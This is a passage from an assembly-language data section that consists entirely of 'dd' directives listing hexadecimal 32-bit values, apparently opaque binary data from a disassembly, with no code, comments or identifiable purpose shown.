		dd 0D100F362h, 8C1EA709h, 0E4A2FF66h, 0C85A525Dh, 4642E180h
		dd 0B1C17B27h, 9DB3A097h, 1914B6C0h, 886F843h, 0BD218092h
		dd 960CB398h, 0C9EF00ECh, 34DCBE09h, 77804761h,	0D2C3043Ch
		dd 8D7D4B2Ch, 41689144h, 98B39B83h, 93318E82h, 0B3A8B813h
		dd 201BBA3h, 0A491D1C1h, 4420668Eh, 0C44C52ADh,	9F0BF800h
		dd 0F4BBFCC8h, 0C3000090h, 0EDE924BAh, 0C0802864h, 0E56A451h
		dd 747558D2h, 0FFF76C00h, 48A645A5h, 0FB4D0CF0h, 2AC0F167h
		dd 0D0A4F855h, 8C035A37h, 2B4911D0h, 0FD1918F7h, 0A0F2084Ch
		dd 75CFD61Ch, 0F6717DC3h, 0D898E1A8h, 5E6C48FAh, 4F0500D5h
		dd 0F466EBC8h, 8CCBBBFh, 3884215Bh, 658E05CDh, 0C2A0BDF7h
		dd 7F0CF596h, 7C370102h, 8069D0CCh, 0F0ACC7A0h,	805F7690h
		dd 4A006277h, 44CBD202h, 66C37B63h, 215B0834h, 2428400h
		dd 0E9862B23h, 46670F1Bh, 708728h, 0F3DD6368h, 382B593h
		dd 9C7EE32Ah, 0CEC19FFFh, 0BECDF899h, 7378A901h, 6E91288Dh
		dd 850AE1BEh, 608A488h,	0D1457951h, 430CC912h, 8641D041h
		dd 0A40088ECh, 71021BF8h, 91C70103h, 7CE08A5Eh,	9E80CE11h
		dd 0BB79A13Ah, 370B448Ch, 0CC3A961Ch, 58C0D780h, 187E9759h
		dd 81547051h, 0E1C08827h, 3AF8E45h, 7C4F07E7h, 805234EEh
		dd 177050B7h, 0D7188270h, 3E8972EDh, 89CF3503h,	18900411h
		dd 4F5F0561h, 257DA840h, 3C5D5BEh, 0AC56158Eh, 0F2F8D237h
		dd 0D062BCA1h, 7C04F0h,	7BEB69BEh, 0D736FF05h, 568037CBh
		dd 0C094A4ADh, 4BEC3E20h, 504DFC73h, 0B67700C8h, 0CDCA8F09h
		dd 48F71AB0h, 0A4407849h, 7D804581h, 0F3E313DCh, 15E0001Eh
		dd 0FFFA974Ch, 2062C934h, 928EA480h, 9E20A743h,	0D70BE3D2h
		dd 0D83B8FCDh, 262C6798h, 24C1B6Fh, 37CAE9A3h, 18943C41h
		dd 0D602084Eh, 5FC464CBh, 2468840h, 6807C962h, 0E673EB10h
		dd 0DA074A60h, 88D4A84Bh, 6BA1018Ah, 940521E9h,	1A35E07Dh
		dd 890E8C9Bh, 0A6F0058h, 300CCA84h, 411802E7h, 8D62B0A6h
		dd 4071C9B0h, 0F1B14BC0h, 0F8339212h, 43C84905h, 0C77E80BBh
		dd 55E1F05h, 623882Bh, 29D1C028h, 0A126FF01h, 0D8403460h
		dd 92908DCDh, 2C47397Ch, 174F924h, 77A940A3h, 0D13C4894h
		dd 0C84B0508h, 4059C4CBh, 0F105C980h, 8587074Fh, 0F1E41EC0h
		dd 257DC6FFh, 0C1DF6060h, 8DC6859h, 1E4F1CD4h, 2B42A60h
		dd 0B75D33F8h, 88E0149Ah, 6D4CFB1Ah, 0E1C90080h, 632C0C4h
		dd 31D66078h, 2A5509Ah,	0CA573400h, 0CCE5A36Fh,	1D1CA22Ch
		dd 805B11F4h, 0FB7E7557h, 3B207E47h, 0B126DE0Bh, 9350321Fh
		dd 11024D30h, 9D5CCBD5h, 33875CE2h, 90820E00h, 0A878ACBFh
		dd 0F640F8B2h, 0FF00437h, 94C5D703h, 4F30C0D4h,	45021F4Ch
		dd 44F4BAFAh, 20E98986h, 0FD287018h, 0AB761309h, 19D01882h
		dd 0DFE095F0h, 486BE530h, 5D34C24Fh, 420520ABh,	53F2C3FFh
		dd 455C08C4h, 9CB39FC1h, 10EAEC1h, 0E3B397BCh, 0B5D86FD2h
		dd 0F63A12E0h, 5CD402CAh, 4D01A64Ah, 0F98C8CFCh, 578066F7h
		dd 0F06B0422h, 0D09B86B2h, 463658h, 9626CDB2h, 0C0FE081Eh
		dd 91217118h, 806235F8h, 0C13C4B7h, 0E0221C74h,	0BADD803Eh
		dd 0E01D03A5h, 384701FEh, 0C68643B4h, 2806D3FCh, 525CCC19h
		dd 0E83E4C38h, 0D1C04820h, 70CA5642h, 1AD14C2h,	0A17CBC7Eh
		dd 871430CCh, 97C078FCh, 46799A3Ah, 0F0C2283h, 0F03A8F30h
		dd 0D08E9DC7h, 91813931h, 4AD922h, 0A1C30EEDh, 5B90B924h
		dd 2312D007h, 6296DC7Ah, 0F7A01FA8h, 60386515h,	7170A8BEh
		dd 0B8744030h, 176AA4Ah, 7C255B9Ah, 8257DCD4h, 4DFCDD28h
		dd 61D88226h, 25A85255h, 103A6CD0h, 0A268D884h,	43591FB4h
		dd 0DABEA873h, 82C463C0h, 468CE473h, 0B3A10E47h, 0C4BE089Eh
		dd 99C05E90h, 930E12B3h, 61CE0467h, 0D21C7DCDh,	0F4E091E0h
		dd 0D8814501h, 0F05474h, 0DB7DED9Ch, 8A14EF71h,	0EE3E8E00h
		dd 0D702918Dh, 306367F9h, 476BE4Ah, 7905CF0h, 2124FCCBh
		dd 0D1C24C80h, 0A8C707DEh, 5505387Bh, 0D8A0D264h, 99002044h
		dd 323101DFh, 24F4F8BCh, 2428C798h, 0ED890850h,	46740C24h
		dd 81430059h, 1DDB76Fh,	86E112F4h, 717893C8h, 8AACA0D0h
		dd 2394705Dh, 249018Fh,	183CCBD1h, 4183885Dh, 904B0201h
		dd 2C6C40F5h, 9420B6C9h, 0EF57409Dh, 5880D410h,	0FD06FA00h
		dd 127704C9h, 0A6D16B61h, 0E10142F7h, 2702145h,	446458ECh
		dd 9269808Ch, 61AC4A50h, 0A44547D0h, 25AA4C28h,	50899D77h
		dd 4C26A047h, 8742E20Bh, 1F84CE58h, 0C27A3893h,	485C5820h
		dd 270E70D7h, 6876751h,	0ADC940E5h, 0C0307FD8h,	0C1FFA076h
		dd 0F93899CFh, 6C8188Ch, 28ECA2EFh, 75001984h, 21BC3857h
		dd 1E39A19Eh, 56303791h, 96E009D9h, 0C699840h, 58F8EB59h
		dd 7BB810A0h, 0D5054D12h, 0F4D04328h, 909CD9DCh, 1D10F834h
		dd 765EF10Ah, 7940A0F7h, 836FE8DCh, 4369D7E0h, 46D994A0h
		dd 3ED239C0h, 14B081Dh,	0C0573A86h, 603F7139h, 0AD17CDE0h
		dd 2424A0DCh, 0BF8EC00h, 4D46866Ch, 8E85CE1h, 0DE2E5112h
		dd 0C1690800h, 0FCCC79FAh, 3100994Ah, 9646010h,	20FCCC30h
		dd 0CB12F69Dh, 0C083B885h, 5DD8128Eh, 0C9A09252h, 113A9930h
		dd 8893799Ch, 91328007h, 0B2D1A43Ah, 0E8C5B800h, 1DC7873Eh
		dd 0D9FF8140h, 0FBDD107Bh, 3843482Dh, 0A501D33Bh, 0D4CC1B48h
		dd 706C326Eh, 0B845C14Ah, 0D8404E60h, 0C702A693h, 1C123B03h
		dd 6514A53Ah, 0AC40A8EDh, 194BB95h, 0C84C05D2h,	885818D3h
		dd 501CA81h, 0C153459Dh, 0C3C22Fh, 0DB56BF48h, 0CBC0788Fh
		dd 94B8A514h, 0AA869CDCh, 0A028C3CDh, 91069B96h, 5F817D4h
		dd 48E32E5h, 0A0FDFFB4h, 48929A20h, 0A314C708h,	5692000Fh
		dd 0A9CB51C0h, 0AF0D3E0Dh, 8DE11803h, 0C10EB832h, 0C404416Fh
		dd 43A08C02h, 0B39D1C8Ch, 889E119Ah, 95BA8091h,	10D88B3h
		dd 0C45B9F00h, 5107BC6h, 3F5324F7h, 0E71016Ch, 0DAAE6D9Ah
		dd 0EA22C882h, 58606C0Ah, 1A27B39h, 7981E31Bh, 48519CC4h
		dd 5C915BD4h, 0AE180979h, 3527B000h, 4C89265h, 80105103h
		dd 52A0A5C8h, 6506B886h, 107880ADh, 430D3D0Dh, 4C302814h
		dd 2924198h, 684699C4h,	0B48D2424h, 11D817C9h, 0C96D8359h
		dd 54818CBDh, 3F0268F3h, 0E460046Ah, 309C9275h,	0F0A465Eh
		dd 0C357A81Eh, 8055E3ECh, 926FFDD7h, 2F434FB8h,	18F2364h
		dd 53184149h, 85A88C81h, 0EFF5050h, 0D9923FF5h,	0D00E4D5h
		dd 0DBAEF70Eh, 1A356223h
		dd 34817071h, 0A43D7688h, 1054AA00h, 59FE38E7h,	7B03201Fh
		dd 80044313h, 2165EF8h,	2D3EEAE4h, 0F0BDBC8Bh, 945CFC00h
		dd 0B06FFED4h, 6D68305Ch, 0CA0E0161h, 0D506014h, 7C3702A0h
		dd 0A0A2D7FFh, 395B8168h, 4A600EAh, 2AD0A07h, 0C8095240h
		dd 60FAF714h, 30FC73A0h, 77585FDCh, 0C112F9B7h,	24401B34h
		dd 0C7586442h, 0FF7B1E95h, 0D081E72Fh, 25D075CBh, 0AED9DBC4h
		dd 41E880A1h, 0C5CF9AC4h, 185BADh, 59EB3E10h, 20A79240h
		dd 0CF9E9D88h, 7CD0AD42h, 974D5444h, 5D4805Ch, 8CE3C84Eh
		dd 835344h, 0F8FA05CCh,	0CA9108F7h, 0B83B3703h,	5C4B18C4h
		dd 3E2408E8h, 19EF7428h, 5C51F1F0h, 0D72544F6h,	0A8AA9080h
		dd 105C5C26h, 4DB81018h, 9DC101E3h, 10A02D5Ch, 987B4A2Ah
		dd 82AF2084h, 43DF8E19h, 0E43CF770h, 49019420h,	5FAB737h
		dd 79B0BBFDh, 0C4AA7729h, 2571A78h, 6C298440h, 143D7721h
		dd 2448ECB3h, 0C8875325h, 82B3B04Dh, 8CB0C8CDh,	0A4FAF52Eh
		dd 0C7051240h, 0FC4949A3h, 4BAFC207h, 0C33E8765h, 684F3FDDh
		dd 9403EC16h, 74439CD4h, 19416998h, 0EA448480h,	0C415B74Ch
		dd 80D05198h, 43A1B536h, 2E71ECC3h, 82B439FCh, 7C745177h
		dd 34127CD2h, 581401F3h, 38414B3Ch, 22C6863Eh, 0F4683035h
		dd 8C0CBCh, 0B5BEC62Fh,	29249199h, 0CC23C309h, 60F422E8h
		dd 590D090h, 0FAB2E1C2h, 0C37C12FFh, 0E9580534h, 94AC1270h
		dd 66CEEC92h, 8092F8C8h, 0F9CE7F27h, 7A1FC0B3h,	4E90115Ah
		dd 446E8Fh, 41E97D34h, 16406235h, 578A933h, 999DC0D8h
		dd 0FBA00100h, 0A52A0304h, 73C0805Eh, 62302190h, 0D34F009Bh
		dd 0F7CC59F8h, 181F4D28h, 0CDC5FD0Ch, 8CC298BBh, 0F8AC649Dh
		dd 5BF09047h, 93CC22F5h, 1005D030h, 0E3C3C84Ah,	7C05E87Fh
		dd 1B8B00A5h, 0D4AD8E73h, 86037060h, 76A9BEF9h,	49680294h
		dd 2DF4EF9Bh, 0FCDD0C48h, 9074AF31h, 790243B5h,	2246A361h
		dd 39B70B88h, 0CAE0A4A6h, 9D3A9A60h, 119B7923h,	9233000Dh
		dd 4D9F493Ah, 0A2BA0109h, 3E2E3544h, 0BC543C8Fh, 5008C94h
		dd 11037131h, 19C14FCAh, 0D8A2728Dh, 0EAE43142h, 0DCB0EE27h
		dd 4ABC0h, 0D8A428AEh, 7562A944h, 9FFA9B1Eh, 543D1426h
		dd 0A00995ECh, 0C06101CFh, 24FCC82Ch, 0C38EB93h, 8F1FF2Bh
		dd 3B246B00h, 434635CEh, 81FA0B68h, 38820C19h, 94A0C4C7h
		dd 1E9B1071h, 149A5226h, 70729080h, 4DFA4DF6h, 511F404Ah
		dd 0C9B1B17Ch, 5090893Fh, 11E09F78h, 0D7388059h, 0F4086813h
		dd 103E727Ah, 187388C4h, 4F795160h, 35D60EF9h, 570195CBh
		dd 0C0BE0719h, 0B662AD96h, 0B3A32C8h, 940078E4h, 8B03F35Eh
		dd 1A3A749h, 7C0EF4A1h,	6690CCh, 2EAF51D0h, 1FA4C807h
		dd 3D2920BCh, 0A800A42Dh, 0D7770A7Bh, 0B4405001h, 46C00956h
		dd 0BA86F933h, 1CBC29A7h, 456465Eh, 10A75169h, 1111B0C3h
		dd 50D9C1h, 0EC5DF36Dh,	0CE2875h, 0DBCAE423h, 13986CDEh
		dd 0D4DD8B2Bh, 9946C0A0h, 5005D602h, 5531F3C8h,	5CE8510h
		dd 4305327Ch, 0CD47A3Dh, 78768C4Ah, 8942508Fh, 0CD50E033h
		dd 34A070BEh, 2B14DC7h,	0D30A5988h, 53BD1CC3h, 28EC0488h
		dd 0E58E0995h, 608EE4C0h, 0B7BF645h, 112E4EC5h,	90C87805h
		dd 0F5D70264h, 1C44544Fh, 11164388h, 5B16B094h,	2B96002Ah
		dd 870A3E8h, 4BB38E13h,	7A940514h, 9C9854A8h, 7118D899h
		dd 68FB19h, 40A390CEh, 0FAE7AFF8h, 0D576572Ch, 0D479F930h
		dd 985D5244h, 0A0FC1B81h, 2F3C3D58h, 0F4700AB5h, 404CEF6Fh
		dd 0BE8108D2h, 0C1C8019Dh, 0A41A1E87h, 0A484FA48h, 756B4725h
		dd 0A0429404h, 7C8801C7h, 4C1D6988h, 23809111h,	0DC19FF36h
		dd 9A4E443Ah, 60217CBFh, 4915588Ah, 1D92F07Eh, 6090A204h
		dd 1D1C66Fh, 662DCF02h,	0B0519894h, 0FB059722h,	78F3213Dh
		dd 3C6944C0h, 549D951Fh, 0C0809011h, 358BF262h,	8D4B4409h
		dd 8E3C4154h, 9088804Eh, 9900EFC7h, 97393B2h, 0D72D7A94h
		dd 14C7A830h, 26A0BB4Ch, 9752747Dh, 8A5211B4h, 9B118CE6h
		dd 18AAA807h, 91F43573h, 814ED93Ch, 0D45CF631h,	61C4D60Dh
		dd 0C66801EFh, 89E52899h, 60A44293h, 9291FC9Fh,	16E14C80h
		dd 7412C3C7h, 0F0020402h, 0E16AF71Bh, 2C2DD8F8h, 7D7A85Fh
		dd 7FA5A71h, 0D7B88189h, 0F442478Dh, 2F544149h,	9588386Ch
		dd 0D3814FC4h, 80366CCBh, 891C5E22h, 6A800247h,	92DFD538h
		dd 0DE88244Bh, 42C424C8h, 0BC826C8Eh, 4D007D58h, 7A763D36h
		dd 15C72AFFh, 0D1F0999Ch, 7C5D1807h, 43F806C3h,	6084D08Dh
		dd 434BE05h, 50F46DF7h,	0D78088A6h, 0E45A5124h,	298D8788h
		dd 185AD104h, 99A60089h, 85E6204h, 0C21745A9h, 8CCC2F34h
		dd 0CFA8888Eh, 4B8E15Dh, 4DE3FC73h, 65228CA2h, 6136A416h
		dd 0C8FCA704h, 97C16CCDh, 57672700h, 0DF0650DCh, 61C95B8Dh
		dd 146F417Eh, 800BD38Bh, 9B075CFh, 0E1C84D28h, 0EA60AE3Ah
		dd 8E0AF4A0h, 100DC55h,	0D6F39918h, 0F112469h, 0F62DF87Ah
		dd 0A2A94184h, 3358E21Ch, 67FF8488h, 361318F6h,	0D4D17A51h
		dd 982D034Dh, 987E4872h, 5724F8C0h, 0B71E1B53h,	893AA540h
		dd 935FB9D0h, 74E9F86Ch, 751E16DCh, 0C16F1C52h,	0C0F75FC7h
		dd 55A0419Fh, 0CCFF0172h, 9BD83E10h, 0E164D0A1h, 8A83081Ch
		dd 465E9854h, 3085015Ah, 43E874E3h, 0B02050F8h,	0D0186284h
		dd 4B0A3F86h, 137AF00h,	9A5FA5FFh, 1336EAC0h, 0A428CB1Eh
		dd 57B88690h, 0ED3A10A0h, 59DEB283h, 1890D138h,	0E1D41EDAh
		dd 9BF572Ah, 0A0259C9Ch, 0A240F6CBh, 4A80305Dh,	5B854F00h
		dd 0F7D5B60Ah, 8F673E04h, 733DDF0Bh, 20014EEh, 86087211h
		dd 3BE12D9h, 4E0106FAh,	592C44F7h, 3704FAF8h, 0B480D8CCh
		dd 806B0DA7h, 39974865h, 300690ECh, 2892C3FAh, 8C4790Ch
		dd 0C047048h, 0A5F05CDFh, 0D3251288h, 4130EE9Ah, 11200F07h
		dd 3096ED4Bh, 0E9DE41F8h, 63245301h, 0D0B432F6h, 8AABFCh
		dd 66180467h, 4B307436h, 0B0CDA200h, 723B02A5h,	70E849FCh
		dd 55B4E600h, 9AC686A0h, 0F4813F61h, 0C2074FA4h, 440EA01h
		dd 9281EC2Bh, 4F9D2860h, 8650203Fh, 84BC7074h, 354F988h
		dd 8840373h, 4098ECD1h,	91DF82F8h, 0D4FE2F2h, 4052C35h
		dd 9C902A4Eh, 0AC4FCAC1h, 682EB02Ch, 883CB8C4h,	0B0A57328h
		dd 0CC7FB2B0h, 29414E20h, 37107E64h, 0C7048E43h, 0CCE03CBAh
		dd 0D2F3E40h, 0C548004Bh, 0BE604FB4h, 49988174h, 71418571h
		dd 2F2069CEh, 0AC2F5Fh,	0A9440B53h, 0C7BD00D6h,	0F4BE2D3h
		dd 8C5D85CDh, 84094B38h, 0FE086915h, 3EE160FDh,	0C706683Ch
		dd 8114630Ch, 8644E81Dh, 0C83815h, 0EFEC7CAFh, 27FD0621h
		dd 0F09BFF63h, 0A444682Ah, 58644D70h, 0E8B42A19h, 4AB10147h
		dd 0DB20630Fh, 0CB332001h, 0C53F9402h, 824B4002h, 0AEBE7F0h
		dd 8A3C08D0h, 0F1C7270Dh, 4BCC082Bh, 6F595C24h,	0EFE9C713h
		dd 2A0C62F6h, 0C913D00Fh, 24C12334h, 0D912162Bh, 0AD0304C4h
		dd 5AC3C205h, 0B15D83FCh, 2C30795Bh, 42200376h,	0B9AFEE4Eh
		dd 0EF4A821h, 91972485h, 0EC2764h, 0FA0871A8h, 0CC7B12D5h
		dd 0E250C430h, 497E89C0h, 0C4DC194Ch, 0F828C056h, 0BED17628h
		dd 514B26h, 6DFBAE04h, 0A30BFF0Fh, 40461064h, 0F8B39A1Ch
		dd 70848626h, 0B31D92B7h, 5D40B56Ch, 2E2BF10Eh,	4775E51h
		dd 3576824h, 4BF55C60h,	23102F98h, 6CA90C57h, 46413850h
		dd 0FBF4D0E7h, 84475204h
		dd 165C5511h, 0C8DC80B3h, 380A835Bh, 0EC7F13A9h, 8D20D344h
		dd 3D8028ABh, 489D174Bh, 560C98C2h, 204EA881h, 89259A11h
		dd 71D0F1A9h, 88CC1956h, 67E72C46h, 0AB3402CCh,	2C536CE3h
		dd 38DC6B71h, 0CAE4FFEBh, 2AAA1290h, 0C464E4F9h, 0B6D33301h
		dd 0D8C34824h, 0A6001C72h, 0DE548F73h, 4B133532h, 0D890609Eh
		dd 1EB21201h, 81B56D78h, 0A2662EBDh, 824FE0EAh,	0ABC50804h
		dd 0CCC00B96h, 12AA47CAh, 86863F2Fh, 0F925B250h, 0B8286B4Ch
		dd 0FD5694h, 0C04947F5h, 0DA67C250h, 7BA3A102h,	714DA4D4h
		dd 470102Ch, 6D54CC21h,	502FC07h, 0CDF08CC4h, 40D42C97h
		dd 496C4E90h, 58C05940h, 6091C8FFh, 0C2016C22h,	0E3647B2Ah
		dd 2D206CD3h, 0DC8D00E4h, 8C0A3069h, 552881AEh,	3725C478h
		dd 1CA460E2h, 0A198845Ah, 0FC681095h, 18C8675Dh, 607C0071h
		dd 28F164AAh, 8C06E8D4h, 84863402h, 765DD7A0h, 3FBE4248h
		dd 0C1CF0200h, 0B318D34Fh, 305AA210h, 9400FAE2h, 0B55C1348h
		dd 14A907A7h, 247B5178h, 1002A400h, 5CDCC47Ah, 0D043F9CCh
		dd 9C058CCCh, 0AB799F3Ah, 35C034E2h, 14E83A94h,	2BA52500h
		dd 0C1338A88h, 7AC32EFFh, 28B961D4h, 4D118081h,	0B13A9EA6h
		dd 10F3049Bh, 0ACF1AC5Ah, 8C59BCF0h, 0EAA56100h, 53C0989Eh
		dd 287002C2h, 40EFAA30h, 0D4195440h, 0B06EC826h, 8861FB70h
		dd 5C2675CBh, 36023087h, 48B6C705h, 4F73A130h, 0FC50D460h
		dd 6F5087E4h, 44C9B371h, 0D48CD460h, 0D0105431h, 0A9905060h
		dd 0CA4000F5h, 4135E04h, 0E9D992F4h, 833D3D7Ch,	906AA89h
		dd 34280B9Ch, 8450F847h, 72A8A60Bh, 79105B70h, 51E1C6A5h
		dd 0C9DBF404h, 15ADF23Ch, 48E002C2h, 9B24C014h,	0DB9A7Fh
		dd 28AA354Fh, 9E6FFC48h, 0F09C894h, 2F8C8B79h, 48043710h
		dd 94E3EB97h, 23305BB2h, 13AFF261h, 827591E7h, 59292580h
		dd 22E80050h, 88F17CBCh, 0BE7C747Ch, 1F4549Ch, 0AD23B418h
		dd 0E36D341Fh, 0AFFCC8C8h, 0FB2BC9C5h, 8DD2F040h, 1720EFDh
		dd 0C1170B57h, 804B6050h, 0F2E41FC1h, 75C8607h,	0EFCEE3E0h
		dd 0FCA0ABF4h, 47E1D7AAh, 3C88EC94h, 923A9363h,	0ECF90CF4h
		dd 0A01804F1h, 0C94F5A16h, 2F63FB01h, 0B8394AC0h, 70B011DEh
		dd 520DD710h, 3D273448h, 8B11B49Fh, 0B960B584h,	0AD167EA8h
		dd 0A8A07E3Ch, 85034E04h, 0DBAC81C8h, 0F8A40072h, 7F35001Ch
		dd 3E4992C7h, 0E89CAB2Dh, 183F442h, 23A30D3Dh, 305DF228h
		dd 5C029A30h, 138CAE94h, 4428C4C0h, 0DF2AA07Dh,	82B78469h
		dd 241F3D50h, 5C850B1h,	60E9F7A8h, 28CB0812h, 40CE8EC8h
		dd 9F9DF746h, 35FF1678h, 0DC78424Ah, 0D8046450h, 0F1ACF082h
		dd 1953F174h, 780227FCh, 0C33C9816h, 7C182CD1h,	665B34C1h
		dd 527822ACh, 912C3C70h, 73791138h, 74FEC90h, 76515081h
		dd 0C37C476Ah, 0C8758437h, 219D2630h, 0AB58F2E0h, 458FFCh
		dd 0FC09020h, 257EC7F1h, 0C2B6AC2Fh, 0B987E27h,	0B460A949h
		dd 0B89176FDh, 7C3DB99Fh, 0C3D84100h, 0D9279BB2h, 81706FAAh
		dd 4EE4BFCAh, 4595CF02h, 0D7E05A07h, 4870A54Dh,	410B2481h
		dd 0B05ADB34h, 0ACEAE083h, 57641867h, 4CB2A660h, 3E35E718h
		dd 0E3BDB9Ah, 4E4BCF67h, 0A3779118h, 0B0D8229Fh, 913495A9h
		dd 0E0809D59h, 52DD88BDh, 1C090BDFh, 0CC21F8D4h, 2AD5F776h
		dd 80510448h, 4A98FB14h, 1F00FEC4h, 3C41C595h, 746CD35h
		dd 56D7D0D2h, 2C9EF1F4h, 1C353F86h, 20F65882h, 6C9F50B8h
		dd 4E097A7Bh, 0DAC24F9Bh, 4657204Ch, 65C804BDh,	0B0CA125Fh
		dd 0D712A258h, 0B8D44C39h, 51790C01h, 74F374h, 94865427h
		dd 7B65006Bh, 5C8D5E3Fh, 2D0415BDh, 588C8348h, 66B24CC0h
		dd 603F154Bh, 5607AC54h, 9092B56Eh, 87147018h, 0E4509700h
		dd 4368DAF5h, 3E130274h, 0E7BA848h, 5D7EDCC0h, 6442D22Eh
		dd 39094674h, 0B363868Dh, 588F99h, 66C05695h, 29E4118h
		dd 79C6C0E3h, 1901D1C2h, 76407474h, 1AF21A47h, 20FEBF17h
		dd 4D2A94F0h, 829DE404h, 50FB3070h, 0DF342FE8h,	0ECE47C62h
		dd 43257013h, 210480E0h, 97270AA7h, 805591F8h, 563897C4h
		dd 0D7990746h, 1A6B2C2h, 734A09FFh, 41532524h, 4C8CBC4h
		dd 0C3B8CB80h, 56D120D1h, 0BFF88318h, 829C980Bh, 0ABF00409h
		dd 0E4AD4542h, 0A600585Eh, 3EFF4376h, 856B17D7h, 9F38B0F0h
		dd 0EC40AC9Eh, 0E0228D71h, 0E4289E74h, 1EF7405Bh, 4A9D0296h
		dd 791C2004h, 4C6278D4h, 0C6716030h, 0A5342D98h, 8CDE2825h
		dd 58C9178h, 0CBD3024Bh, 0A0CE4Ch, 81024385h, 3F8AD6DCh
		dd 1617BDF4h, 11D400C8h, 4832FBDEh, 59541C98h, 4F406848h
		dd 8C7CD586h, 30CAFF13h, 5B3DC7ACh, 0D8165CB9h,	1DD2841h
		dd 2095B95Fh, 0A410285Dh, 163E3E51h, 0E4E34ED5h, 0A4C4FF12h
		dd 0FA0936BCh, 98EC560h, 5E3C926Ch, 408B0870h, 87BC6227h
		dd 204C8A5Dh, 3343867h,	0F298134Ah, 330DF258h, 0E3D7E8B0h
		dd 9A00CFE4h, 0A9EC2A95h, 78856578h, 8C229790h,	747CEBAFh
		dd 574676h, 0D5AA23EBh,	5A209F58h, 1570D027h, 0FD00165Ch
		dd 0BB99ED06h, 555744h,	18E2D03Bh, 1EB3DB12h, 0FF808E0Ah
		dd 90ACBC59h, 0AFA70D08h, 0E60028C4h, 5B80754h,	90CDFE4Fh
		dd 9D924024h, 145DF4A1h, 0C780C8A8h, 0BE6D35EFh, 0FA6E1600h
		dd 0E92173D0h, 0D659166Ah, 4F464A7h, 2AAFC88h, 0F04F34C7h
		dd 44A49428h, 8930A2E5h, 0F144F1AFh, 0CA1894h, 0D0EE6D3Bh
		dd 812D0327h, 1000A448h, 0C7097305h, 0E0505B0Ch, 9EC2B52h
		dd 6405157Bh, 450CB0B8h, 78042E7Fh, 9D009878h, 91FF14F8h
		dd 404DDF00h, 0A3FA69C0h, 30E84B3Eh, 7F0CC9ACh,	88D31D4Ah
		dd 0C71909A0h, 90A9AF2Ch, 405CB80Ah, 0DA1102A4h, 0F04D40h
		dd 0D7B74FFCh, 4A687625h, 0D1EF7402h, 0EC7B9035h, 6CA890B4h
		dd 9C68D1C3h, 7571C988h, 0B151299h, 0A024CCA1h,	6249F710h
		dd 6DFB36A0h, 2BD3E500h, 4177354Fh, 2D3E13E9h, 10CCB2F8h
		dd 3D0B973Ch, 1CC2370Dh, 3C5A1EC2h, 0CB0C3F13h,	75CD3480h
		dd 309A606Ch, 0FA2B6FC9h, 96003C92h, 81DE50A5h,	12FDB265h
		dd 40A4285Fh, 7E1202F4h, 4069E2F4h, 0B9EC04B0h,	0A90D34B2h
		dd 0F0C81EEDh, 0F8861A1h, 3CB2587h, 4F4DF4A4h, 0E5670009h
		dd 17E0CB2h, 31B3BC6h, 61AFC91Eh, 0BCDC7C40h, 0A5018C57h
		dd 7E926D2Fh, 1020C7A2h, 60904438h, 0AAD0A0BFh,	18628C2h
		dd 7A7B0126h, 0CDBCB109h, 78BC4147h, 0F3310066h, 34B748CFh
		dd 0C8AE339h, 85AC0447h, 0AC0507AFh, 0FC2382B0h, 0BC0502Ch
		dd 43E5CF02h, 98A9BC79h, 4D188C71h, 0E8A25100h,	0FA1050C0h
		dd 1D8B4A36h, 2DA54270h, 2C42A81Fh, 0A46CA055h,	5DAE03F8h
		dd 0CA115CC2h, 0C3CE007Fh, 0A61A61DFh, 3E995B07h, 0E48F7CB8h
		dd 27182F18h, 37DBB180h, 0EE6C8D1Fh, 29F6180h, 8072C1D7h
		dd 2C19704Ah, 5148F28Fh, 9035970h, 0CF47A02h, 0ECDEA042h
		dd 7564674h, 0F1C5C21Dh, 4D09D701h, 177B7080h, 84ADCB6Dh
		dd 91D8C095h, 0CDDF1904h, 0C142214Ah, 0C782D045h, 8F33CB10h
		dd 0A6213F3Dh, 2A54B80h, 0A49AA19h, 280E57E6h, 0A05849F8h
		dd 0CEB1AF00h, 31F978E2h, 0B790099h, 0FE5AF891h, 1E7EFACCh
		dd 301D8CB6h, 6498B520h, 849249D9h, 0DD395A00h,	8340E928h
		dd 61CC163Ah, 0D7840B92h, 0ECD42404h, 4B1F8E14h, 91489D6Ah
		dd 2908956h, 8164B0h, 0D72E318Eh, 50B5FA32h, 0DA27h, 0ED13AB1Ah
		dd 8BD87B2Fh
		dd 32AC882Dh, 40E47CC8h, 2F541B8Dh, 0D645320Eh,	0B05220F6h
		dd 0E8130Eh, 0E02C16FCh, 0C8D6B58h, 980CEC92h, 400842DFh
		dd 25AA04A8h, 0E9D895FEh, 2857585Ch, 3695B6A5h,	48E8E14Ch
		dd 5C1BB79Bh, 5A7DDF80h, 0F017C899h, 0B4E260C5h, 0A03094F2h
		dd 901900E5h, 0B8D5AE73h, 18B0A169h, 23CAF9Fh, 0C40C9B04h
		dd 8D34274Ch, 5A6448E7h, 38957960h, 35032C70h, 4E862F80h
		dd 77912CFAh, 0C01C13BCh, 7036A4C4h, 0B7CAC800h, 0F8CC7B5Ah
		dd 8868B651h, 3E3F5519h, 0D809DFC4h, 0F6385477h, 4BFB6100h
		dd 0DED007D1h, 0EB34BBD6h, 0E65030DBh, 59A5FC76h, 7B1888CCh
		dd 0C5862103h, 4006874Ah, 90C96DD9h, 16347A9Ch,	0A4DAB47Fh
		dd 0C1257310h, 647CE778h, 885B6054h, 7AB4A0A7h,	0F09D4A9Bh
		dd 1220B378h, 34C1126Bh, 4C2CE879h, 600580A0h, 76DD3F4Bh
		dd 0C0505EFCh, 0CD49F69Ch, 7E28B018h, 95D22C9h,	2A3CD12Dh
		dd 8C248C7h, 8083FFCh, 0F0A15CFCh, 228368Eh, 0CBD00248h
		dd 0E8965534h, 2408200h, 41DE96DCh, 0B92C2787h,	5691AC97h
		dd 0DFEB1580h, 0A5016A58h, 0C9FAEE31h, 80792A37h, 3C787F00h
		dd 6DD6A4Fh, 8B2CCD00h,	4094981Ch, 99562CEDh, 0F03A0190h
		dd 0A7A8FC4Eh, 0CF8CEDA1h, 0CC9004F3h, 0FD050298h, 0A43C504Fh
		dd 0B4B7B7C4h, 0BC709400h, 89B96E8h, 42E4F479h,	0F17C6004h
		dd 0A2AF6093h, 0B98DA61h, 91B47543h, 0FFF044F2h, 3883C322h
		dd 8CC92B73h, 9CCC2106h, 69205162h, 0BF40A0E1h,	19ED0464h
		dd 0AD5898DCh, 8F1CA8DCh, 172F1CE4h, 50DB63C9h,	0A9FE6580h
		dd 19EE71D4h, 5614CC15h, 29493084h, 0E26284C0h,	6851325Ch
		dd 54735BD8h, 4E7458h, 5F355997h, 70F94BF0h, 8969C002h
